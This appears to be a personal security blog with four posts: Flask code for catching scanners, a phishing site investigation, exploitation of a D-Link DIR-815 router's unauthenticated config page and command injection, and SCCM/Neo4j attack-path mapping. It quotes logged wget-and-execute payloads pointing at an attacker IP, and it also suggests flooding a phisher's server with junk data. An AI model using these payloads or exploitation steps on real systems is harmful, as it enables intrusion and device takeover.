Basic Detection Techniques for Web Apps

I have been working on few web based projects revolving around graph databases.  This post does not focus on that but around a few security features that I have implemented. Most of my setups involve Flask + Bootstrap + Neo4J.  In my latest application, I needed to make sure that I could take the appropriate steps to mitigate scanners and potential maliciousness where possible.

Handling automated scanners and brute forcers

First thing I wanted to focus on is handling 404 errors as that is a common sign of automated scanning.   Because my site is Flask based, I do not have to rely on file extensions to render certain files, this means that as long as I adhere to not using certain extensions (i.e. php, asp) then I can assume with extremely high confidence that any of these hits will be malicious in nature.

from flask import request, render_template
def page_not_found(e):
       if DEBUG:
     print(“\t[!] Page not found: {}”.format(request.url)) # Debuging only
potentially_malicious_ext = [“php”, “html”, “htm”, “asp”, “aspx”, “py”, “pl”]
for ext in potentially_malicious_ext:
     if request.url.split(“?”)[0].lower().endswith(ext):
                 # Here is where you would push the IP into a black list
          return render_template(‘error-404.html’), 200 # Returning a 200 for bots
return render_template(‘error-404.html’), 404 # Maybe it was a coding issue
Breaking down this function, when a user hits a page that I do not actually have exposed or a page that does not exist, I will print the page they are requesting to stdout [debugging only].  I then populated the potentially_malicious_ext list with extensions that I want to monitor for.  I wanted to go this route so that I could continue building sites and find true developer issues.
Next comes the step to check if the user browsed to a page with one of the extensions that I listed as malicious.  If I detect that the user attempted to browse to one of those extensions then I will render my error 404 page with a status code 200.  I do this because most attack scripts will attempt to find a vulnerable page and if successful will attempt to attack it.  By returning a 200 status code, I can now capture all their next steps and then submit them to black listing sites.


The next common piece was to focus around the robots.txt file that is typically a common probing exercise for curious people. I typically do not find myself writing web applications that require a robust robots.txt [if ever].
from flask import render_template
def robots():
     if DEBUG:
          print(“\t[!] {} accessing robots.txt”.format(request.remote_addr))
     # Here is where you would push the IP into a black list
     return render_template(‘robots.txt’)

Basic Netcat detection

Many times, a port scanner will attempt to hit my servers and even though they are lightweight and don’t cause any damage, I still prefer to track and potentially blacklist.

from flask import
@app.route(‘/’, methods=[“GET”, “HEAD”])
def home():
     mandatory_header = [“connection”, “accept”, “accept-language”, “host”, “user-agent”]
     header_values = [k.lower() for k, v in request.headers.items()]
     for header in mandatory_header:
          if header not in header_values:
               if DEBUG:
                    print”\t[!] Appears {} is scripting”.format(request.remote_addr)
               # Here is where you would push the IP into a black list
               return abort(404)
    # Below is where I insert the code to render my actual page
What the above code does is check for people visiting the root of my site.  Once someone hits the root, I will check to make sure that they have supplied a few standard headers that are default for Internet Explorer, Edge, Firefox, and Chrome.
If they are missing any of those headers then I will suspect that they are not someone that I want visiting my site and will redirect them to my 404 page.

Real World Validation

I never intended to write this post, but after some interesting activity last night, I decided that others could benefit from these techniques.

Due to the application that I am currently building, I needed to develop it on a cloud hosting company.  Last night I needed to run some performance checks through out the night to see how the application would handle different types of loads and when I came to check on the server this morning, I found gold!!

None of my development based debug checks hit, but my security ones did.

     [!] Page not found: – – [25/Jul/2018 14:47:41] “GET /xmlrpc.php HTTP/1.1” 200 –
[!] Page not found: – – [25/Jul/2018 09:10:13] “GET /shell.php?cd+/tmp;cd+/var;wget+;sh%+lwodo;rm+-rf+lwodo HTTP/1.1” 200 –
[!] Page not found: %3B cd %2Ftmp%3Bwget http:%2F%2F178.128.11.199%2Frvs -O %2Ftmp%2Frz%3Bchmod 777 %2Ftmp%2Frz%3Bsh %2Ftmp%2Frz – – [25/Jul/2018 11:56:29] “GET /cgi-bin/luci/;stok=redacted/expert/maintenance/diagnostic/nslookup?nslookup_button=nslookup_button& HTTP/1.0” 404 –


Based on the hits that I received on my development server, it appears that the few code snippets actually did their job [very few false negatives, and only a few missed hits], so let’s investigate!

At 14:47 on July 25, 2018, attempted to check to see if I had xmlrpc.php, which I did not, but I did return my 404 page with a status 200 and added this person to my black list.

My assumptions are that this person was checking to see if he could use xmlrpc.php to attack a WordPress server.

Things start getting good with this person! They attempt to access shell.php with some GET parameters appended.  Because they hit my 404 with a PHP extension, I sent them a 200 status code [not real relevant here].  What is interesting is this person decided to tag an awesome chain of commands at the end of their URI.

cd tmp;
cd var;
wget -O lwodo;
sh lwodo;
rm -rf lwodo

Reading through their code, the attacker would download and execute a file from their web server and then delete the file. So let’s see what on their web server.

[At this point we shift to our burner VM and ride a VPN across to the attacker]

When browsing to we are presented with their index.


Looking at the site, we can see that they have a few compiled backdoors [validated via VirusTotal] and a few wget scripts. Next step was to report a malicious server to the AV companies [and wait months for them to black list].


My script did miss this person, so an update will be coming. This person appears to have found code that the developer did not put checks in for input validation.  This failure by developer appears to allow the attacker remote command injection.;
cd /tmp;
wget -O /tmp/rz;
chmod 777 /tmp/rz;
sh /tmp/rz

Diving through, it also appears that they are doing malicious things.


3.JPGVirusTotal has signatures for most of the files [now all of them] but it is still a major issue due to these individual devices not having any security solutions embedded on them.









Wrapping Up

Web Application security is hard and will always pose a challenge.  We need to keep pushing to produce alerts that return more signal than noise and hopefully reading this will have helped.





Social Engineering will always win!

From time to time, my friends will send me phishing attacks that they receive.  Typically, it starts the same, an email or instant message asking them to go to some site and validate their credentials.  If you are anything like myself, then you become curious to how sophisticated the attacker(s) is.

This attack started the same way, except instead of social media or email, it was a SMS asking a peer to validate their credentials to help “protect their account”.


Anyone with common sense will instantly notice that this is a crap shot by this attacker, that being said, later you will see that people still fall for it.  Being asked to investigate, due to my friend thinking they submitted their information to it, I dug in.

First thing you notice when you check the domain registrar is that this domain name was just created (high probability it was created just for this attack).  You will also note that it traces back to .ru.

Raw WHOIS Record

Domain idn name: EBAISECURITI.COM
Status: clientTransferProhibited
Registry Domain ID:
Registrar WHOIS Server:
Registrar URL:
Registrar URL:
Registrar URL:
Updated Date: 2018-02-01
Creation Date: 2018-02-01T04:32:23Z  <--Red Flag
Registrar Registration Expiration Date: 2019-02-01
Registrar: Registrar of domain names REG.RU LLC
Registrar IANA ID: 1606
Registrar Abuse Contact Email:
Registrar Abuse Contact Phone: +7.4955801111
Registry Registrant ID:
Registrant ID:
Registrant Name: Protection of Private Person
Registrant Street: PO box 87, REG.RU Protection Service
Registrant City: Moscow <-- Why would ebay be registered here
Registrant State/Province:
Registrant Postal Code: 123007
Registrant Country: RU
Registrant Phone: +7.4955801111
Registrant Phone Ext:
Registrant Fax: +7.4955801111
Registrant Fax Ext:
Registrant Email:
Admin ID:
Admin Name: Protection of Private Person
Admin Street: PO box 87, REG.RU Protection Service
Admin City: Moscow
Admin State/Province:
Admin Postal Code: 123007
Admin Country: RU
Admin Phone: +7.4955801111
Admin Phone Ext:
Admin Fax: +7.4955801111
Admin Fax Ext:
Admin Email:
Tech ID:
Tech Name: Protection of Private Person
Tech Street: PO box 87, REG.RU Protection Service
Tech City: Moscow
Tech State/Province:
Tech Postal Code: 123007
Tech Country: RU
Tech Phone: +7.4955801111
Tech Phone Ext:
Tech Fax: +7.4955801111
Tech Fax Ext:
Tech Email:
Name Server: 
Name Server: 
DNSSEC: Unsigned
URL of the ICANN WHOIS Data Problem Reporting System:
>>> Last update of WHOIS database: 2018.02.02T17:27:08Z <<<

Even though everyone reading this already knows at this point that it is malicious, I still kept investigating.  After setting up my VPN connection and firing up my dummy box, I decided to check out the page myself.


Many red flags appear here:

  • form POST unencrypted (that by itself should always be flagged)
  • asked for credit card information
  • at the end, it redirected me to ebay site (wasn’t even smart enough to pass my creds along so that it looked liked I logged in)


So what is next?

This is the sucky part, watching a robbery happen and not being able to stop it or call someone to stop it.  You just get to watch them wave to you.  Only thing you can do is try to understand how this happened and what the scope is.

NMAP results will show that this machine has two services running, WWW and SSH.  Interesting enough, banner from SSH shows SSH-2.0-OpenSSH_6.0p1 Debian-4+deb7u6  and HTTP comes back with nginx, but based on the input, they are virtually hosting more than a single site (reverse dns lookup did not yield much).

This appears to be actor procured environment as it does not have any other client related services or applications exposed.

Interesting enough, a simple nikto/dirb will yield many files in the root

dirb -X .txt,.html

DIRB v2.22 
By The Dark Raver

WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
EXTENSIONS_LIST: (.txt,.html) | (.txt)(.html) [NUM = 2]



---- Scanning URL: ----
+ (CODE:403|SIZE:210) 
+ (CODE:403|SIZE:211) 
+ (CODE:403|SIZE:215) 
+ (CODE:403|SIZE:216) 
+ (CODE:403|SIZE:215) 
+ (CODE:403|SIZE:216) 
+ (CODE:403|SIZE:215) 
+ (CODE:200|SIZE:21410) 
+ (CODE:200|SIZE:7443) 
+ (CODE:200|SIZE:65)

Interesting enough, this attacker decided that no one would find their dump.  Analyzing the attacker, they log on semi frequently to flush this file.  Checking this file, there appears to be a collective ~2000 lines, looking mostly legit.  Below is a sample only showing the non legit entries. :kkk:8979897:987897:98/79:877:ihiuh

We legally cannot stop them, so now what?

Yup, I guess this is where the hat you wear determines your next course of action.  A simple python script can be used to pull email addresses out of the db.txt file and email the impacted users.  Hopefully, they will immediately change their credentials.

Also uploading bogus data at a high frequency will cause the attackers disk to fill up quickly and render the next writes from happening, or so they say.

Finally, putting this information out there can entice other more aggressive good people to take the next steps.

Wrap up

There were many signs that could have been used to prevent this attack.  Web browsers should alert on newly registered domains.  Browsers should also alert anytime a form POST is happening through an unencrypted protocol (HTTP).  Finally, you have the “User” piece, which should have seen that ebay was incorrectly spelled, legit companies will never ask you to verify yourself by specifying your credentials and credit card information.  So the onus is on the user, but the browsers need to do a better job vetting out the low sophisticated attacks.

Exploiting cheap labor!

UPDATE: After some feedback, it appears this vulnerability works on many D-Link models.  Also, the latest firmware should patch these vulnerabilities. Updated repo to reflect the feedback.

Ol’ wise people will tend to say, “You get what you pay for”, and that tends to be the case in programming.  I tend to find that shops that pay for cheap labor, get cheap product!  That being said, I got bored over Christmas break and decided to throw away a lot of my old hardware.  Before I did, however, I decided to fuzz a few of the devices.  This is my 24 hr experience [more like 4 hour experience] with my D-Link 815N.

The goal of this is to not show you a super awesome 0 day that you can use to pwn the world, but instead to show a single method on how to find these 0 days.

“Disclaimer, I did not find a place to submit a bug bounty on D-Link’s site.  However, I also only spent minutes looking.”


Step 1: Scanning up my device

The hardest step of this was finding the power cord to my router!  After getting it powered up and connected to my dev range, the first thing I had to do was figure out the password.  Good thing Dlink made it easy (username: admin, no password).

Next, I enabled “Remote Management” to emulate what I would see across the interwebs.  Next, I just did a simple netcat to see what banner would come back to me on the remote management interface:

nc 8080

HTTP/1.1 400 Bad Request
Server: Linux, HTTP/1.1, DIR-815 Ver 1.03
Date: Sat, 27 Jan 2001 02:48:12 GMT was nice enough to show me another ~700 devices that share the same string.

Step 2: Understanding how my device works

At this point, I want to understand how the authentication works and how pages load.  In order to do this, I load developer tools on Chrome (Firefox supports this too) and start monitoring the “network” tab.  On a successful login, I notice a POST to /session.cgi but the only thing that returns is some XML (nothing that holds a session).

nc 8080
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Host: localhost
Cookie: uid=DumMyTokEN
Content-Length: 68


HTTP/1.1 200 OK
Server: Linux, HTTP/1.1, DIR-815 Ver 1.03
Date: Sat, 27 Jan 2001 04:59:08 GMT
Transfer-Encoding: chunked
Content-Type: text/xml

<?xml version=”1.0″ encoding=”utf-8″?>

At this point I started getting excited, as it appears that the developers are only relying on a cookie that I can create.  If they are this lazy, maybe there are pages that I can query unauthenticated?

After browsing for a few minutes, I notice a PHP page that keeps getting referenced (/getcfg.php).  I start capturing the POST requests to them via Chrome and developer tools and then I replay them with netcat (no Cookie).

My favorite happens to be DEVICE.ACCOUNT (which can be used later for a scan bot to check for default creds.

POST /getcfg.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Host: localhost
Content-Length: 23


HTTP/1.1 200 OK
Server: Linux, HTTP/1.1, DIR-815 Ver 1.03
Date: Sat, 27 Jan 2001 05:07:42 GMT
Transfer-Encoding: chunked
Content-Type: text/xml

<?xml version=”1.0″ encoding=”utf-8″?>

<password> will update to ==OoXxGgYy== if there is a password set.  After spending 10 minutes here, I was able to perform unauthenticated scans to determine all interface information, devices connected to the router and the traffic they were using, DNS information, logging information, etc.  Full list can be found on my github.

Step 3: Can I get a shell?

At this point, I have invested a few hours and managed to watch an episode of “Superstore”, but after showing this to my friend, he was highly underwhelmed. I believe his exact quote was, “Get a shell if it is so easy”!

That takes me to the next step, looking for developers who do not handle input validation.  As I am going through the pages again looking for something executable, I stumble over a firewall configure page that utilizes /service.cgi.  After looking at the POST, I decide to append an ampersand and ls and rerun the command (had to pass the cookie from the auth).  The results:

root@kali:~# nc 8080
POST /service.cgi HTTP/1.1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Host: localhost
Content-Length: 21
Cookie: uid=DuMMyTokEN


HTTP/1.1 200 OK
Server: Linux, HTTP/1.1, DIR-815 Ver 1.03
Date: Sat, 27 Jan 2001 09:25:03 GMT
Transfer-Encoding: chunked
Content-Type: text/xml

<?xml version=”1.0″ encoding=”utf-8″?>

… <You get the point>


Step 4: Putting it all together

We found RCE!!! … But we need to be authenticated, but don’t worry, there is a way to get unauthenticated access, but I will leave that for you to investigate.

Finally, I wanted to put it in a quick script that would give me the ability to interact with the device remotely without having to type a lot, so I wrote DLINK Shell RCE.  You will notice that on a lot of these lightweight IoT devices, they will be running busybox.  This is good in the sense that you will have a few commands that you are familiar with.

So, where can you go from here?  Poke, prod, enable telnet and get a stable shell:

/bin/cat /etc/init0.d/
echo [$0]: $1 … > /dev/console
if [ “$1” = “start” ];
then if [ -f “/usr/sbin/login” ];
then image_sign=`cat /etc/config/image_sign`
telnetd -l /usr/sbin/login -u Alphanetworks:$image_sign -i br0 &
telnetd &
killall telnetd

Note: They were nice enough to hard code the password for telnet in /etc/config/image_sign.  Knowing how these embedded devices work, I am pretty sure it is the same password for all D-Link 815N routers.

Step 5: Temporary Persistence

I know this doesn’t make too much sense, but I do not know a better way to state this concept.  These devices do not reboot frequently.  Also, when they boot up, they untar their firmware prior to running.  This means that anything you put up there will be blown away when it reboots, but because it doesn’t reboot often, we don’t care!

I will not be posting code on how to do this, but if you are comfortable with Linux and echo than you should be able to find a way to use an external program like python to read in a binary file (netcat for instance) and output it in a format that will allow you to “echo -e ” the data to someplace like “/var/tmp”.  Make sure you know your arch.

January 8, 2018 Update: Google has revealed D-Link 645 Routers expose cleartext password when you browse to /getcfg.php.

Daisy chain that with the /service.cgi and “All the bases are belong to you”!

Using SCCM to violate best practices

This is my first public blog, so please be gentle. 😛  One of the things that IT professionals preach about is centralized administration.  They will tell you how easy it is to track, manage, and push out updates to endpoints easily and safely to a network.  What they don’t seem to think about is the benefit this is to an attacker.  If you are not familiar with SCCM, you should read Matt Nelson’s blog on SCCM as well as Dave Kennedy’s talk on SCCM.  One of my favorite parts about SCCM per the best practices is linking authentication to Windows authentication… aka linking up to Active Directory.  Keep in mind that this is based on the fact that you have already gained Domain Admin (DA) to a network.

Once an attacker gains DA, he moves from regular post exploitation mode to a more targeted attack approach.  Legacy methods would be to map shares to boxes that we think the admin’s locally reside on, or trying to find network shares where sensitive data resides.  This can become very noisy and increase your opsec risk profile.  I am a big fan of minimizing my artifacts I leave behind to include not interactively logging in or even touching a box unless there is a reason.  Utilizing centralized administration software or security products works great in minimizing my footprint.  It also leads me to the “treasure” faster since I can get the answers to the questions I care about such as:

  • Where do the administrators spend most of their time?
  • Where does everyone dump their “datas”?
  • Which computers have the greatest chance of containing the “treasure” I am looking for?
  • Are there any domains I don’t know about that I can expand into?

Using SQL and Neo4, I was able to not only find the answer to the above, but also develop an interactive program that would show me the fastest attack path from any node.  This turns out to be great to show visualize attack patterns.

To view my queries I use, check out my Github .  The rest of this blog post will be how I visualize this.

I utilize Get-PrivyUsers.ps1 and Get-CriticalComputers.ps1 to determine my valuable assets and users in the domain.  Next I will run RunningApplications.sql (Invoke-Sqlcmd in PosH works great) to get all the running applications in a network.  Next, I will get a list of all users in the network (this is just to get meta for everyone):

Get-ADUser -filter * |Select-Object -Property SamAccountName, name|Export-Csv -NoTypeInformation users.csv

I will then query for who is the Primary user as well as the Top user of each computer.  In most engagements, I find that this differs from what people think.

 Finally, I setup Neo4J and wrote a simple import script in Python that takes this data and ingests it:

Once I have imported this data into Neo4j, I can fire it up and start looking at the data.  The first thing I did was look at where I was in the network and then expanded my node to see who uses it and where else they have logged in.
MATCH (u:User) WHERE n.samAccountName = 'User1' RETURN u


Next thing I was able to do is the same thing but with the Privilege Users on the domain.  This turned up some really interesting information since we were able to find users that had access to Domain Controllers who were not part of any Admins group or followed the companies naming convention.

MATCH (p:PrivyUser) RETURN p


Now we can expand these out to determine where users spend most of there time.  Why is this important?  I find that most people store things locally on their desktops or in folders on their “personal” machines.  So by knowing where a user spends most of his time we can make hypothesis that increase our accuracy of finding IP or other sensitive information.

Other things I have noted from doing this research.

  • Most servers don’t have a primary user
  • Most servers reside on a segmented network which we can see visually without having to scan up network ranges to find
  •  This also helped when trying to logically map out a network

Now when we play the 6 degrees of Kevin Bacon to look for our fastest route to get to a critical box, we get something like this:


From here we can see that if an attacker wanted to, after he landed on User1-comp, he could use mimikatz and dump “Service-Acct” password and log into User11-comp.  Then we can get “User11-adm” password and login to the DC.

Next Steps:

Adding in running applications, I have already done this and the code is on my Github, but I need to redesign the front end to expand only certain properties of a node.  Once this is done we can add all other meta about an object.  Also, I want to replace computer nodes with squares so it is easier to differentiate.

Final thoughts:

Active Directory is one of the most targeted applications out there and as an admin, we really need to consider what objects we send to centralized administration.  Maybe the safest bet is to isolate the highly sensitive computers from the domain. Centralized administration is awesome but we have to make sure we know what the risks are as well as what the data source is sending us.